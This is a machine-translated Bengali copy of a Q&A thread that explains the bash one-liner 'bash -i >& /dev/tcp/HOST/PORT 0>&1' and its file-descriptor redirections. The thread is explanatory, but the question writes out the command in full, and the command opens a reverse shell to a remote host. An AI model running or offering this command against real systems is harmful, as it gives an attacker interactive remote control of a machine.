বাশ অর্থ- &> এবং / দেব / টিসিপি / হোস্ট / পোর্ট 0> & 1?


15

আমি চেষ্টা করেছিলাম

bash -i >& /dev/tcp/HOST/PORT 0>&1

তবে এটি ফায়ারওয়ালের পিছনে কাজ করে বলে মনে হচ্ছে না। এই কোডটি আসলে কী করবে, কোন বন্দরগুলি ফরোয়ার্ড করা হয়েছে এবং এটি ফায়ারওয়ালের পিছনে কাজ করতে পারে?

উত্তর:


17

এই স্নিপেটটি ব্যাশ ( bash -i) এর একটি নতুন ইন্টারেক্টিভ উদাহরণ চালায় , নির্দিষ্ট হোস্টের নির্দিষ্ট পোর্টের সাথে টিসিপি সংযোগে যা ব্যাশ প্রক্রিয়াটির সময়কালের জন্য তৈরি হয়। এই সংযোগ ( >& /dev/tcp/HOST/PORT) এর মাধ্যমে স্ট্যান্ডার্ড আউটপুট এবং স্ট্যান্ডার্ড ত্রুটি প্রেরণ করা হয় , এবং এই সংযোগের মাধ্যমে স্ট্যান্ডার্ড ইনপুটটি পড়া হয় ( 0>&1- এটি হওয়া উচিত 0<&1তবে 0>&1খুব বেশি কাজ করে)।

কোনও বন্দরের ফরওয়ার্ডিং চলছে না। স্পষ্টতই, কোনও প্রকারের একটি টিসিপি সার্ভারটি সেই হোস্ট: পোর্টটিতে সংযোগগুলি শুনতে এবং গ্রহণ করতে হবে এবং ফায়ারওয়ালটিকে সংযোগটি দিয়ে যেতে হবে।


'/ Dev / tcp / HOST / PORT' কোন সংযোগটি হোস্টকে সংজ্ঞায়িত করা হয় এবং বন্দরটি কোথায় সংজ্ঞায়িত করা হয়?
হেলোস

2
@ হেলোস আপনি কি আক্ষরিকভাবে দেখেছেন /dev/tcp/HOST/PORT? আমি ধরে নিয়েছি যে আপনি একটি নাম HOSTএবং একটি সংখ্যা দ্বারা প্রতিস্থাপন করবেন PORT। অন্যথায় আপনি বাশ থেকে একটি ত্রুটি বার্তা পাবেন। যেহেতু আপনি কোনও ত্রুটি বার্তা উল্লেখ করেননি, তাই আমি অনুমান করি যে আপনি এটি কোনও দেখতে পান নি।
গিলস 'অশুভ হওয়া বন্ধ করুন'

1
@ গিলস, আমি 0<&1অংশটি হজম করতে পারি না । আমি এটিকে 'বাশ স্টডাউট ( &1) নিন এবং এটিকে বাশ স্টিডিনে পাইপ করুন ' বলে পড়েছি 0, যা বোঝা যায়। এই অংশটি কীভাবে কাজ করে তা দয়া করে ব্যাখ্যা করতে পারেন?
গোলেম

5
@golem এটি একটি পুনঃনির্দেশ। কোনও পাইপ জড়িত নয়। 0<&1এর অর্থ বর্তমানে ফাইল বর্ণনাকারী 1-তে খোলা আছে যা কিছু ডেস্ক্রিপ্টার ফাইলের >& /dev/tcp/HOST/PORTসাথে সংযুক্ত করুন 0 যেহেতু পূর্ববর্তী পুনর্নির্দেশটি এফডি 1 সংযুক্ত হয়েছে (আউটপুট পুনর্নির্দেশের জন্য ডিফল্ট) /dev/tcp/HOST/PORT, অর্থাত্ একটি টিসিপি সকেট খোলার ফলে এটি টিসিপি সংযোগটি ফাইল বর্ণনাকারী 0 তে ডুপ্লিকেট করে (যেমন একই সকেট এখন এফডি 0 তেও খোলা আছে, এটি 0 </ dev / tcp / HOST / PORT থেকে আলাদা যা একই সার্ভারে আলাদা সকেট খুলবে)।
গিলস 'অশুভ হওয়া বন্ধ করুন'

সংযোগ আমার বোঝার মূল শব্দ ছিল; প্রক্রিয়াটি পাইপ বলা আসলে আমাকে বিভ্রান্ত করেছিল।
Golem
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.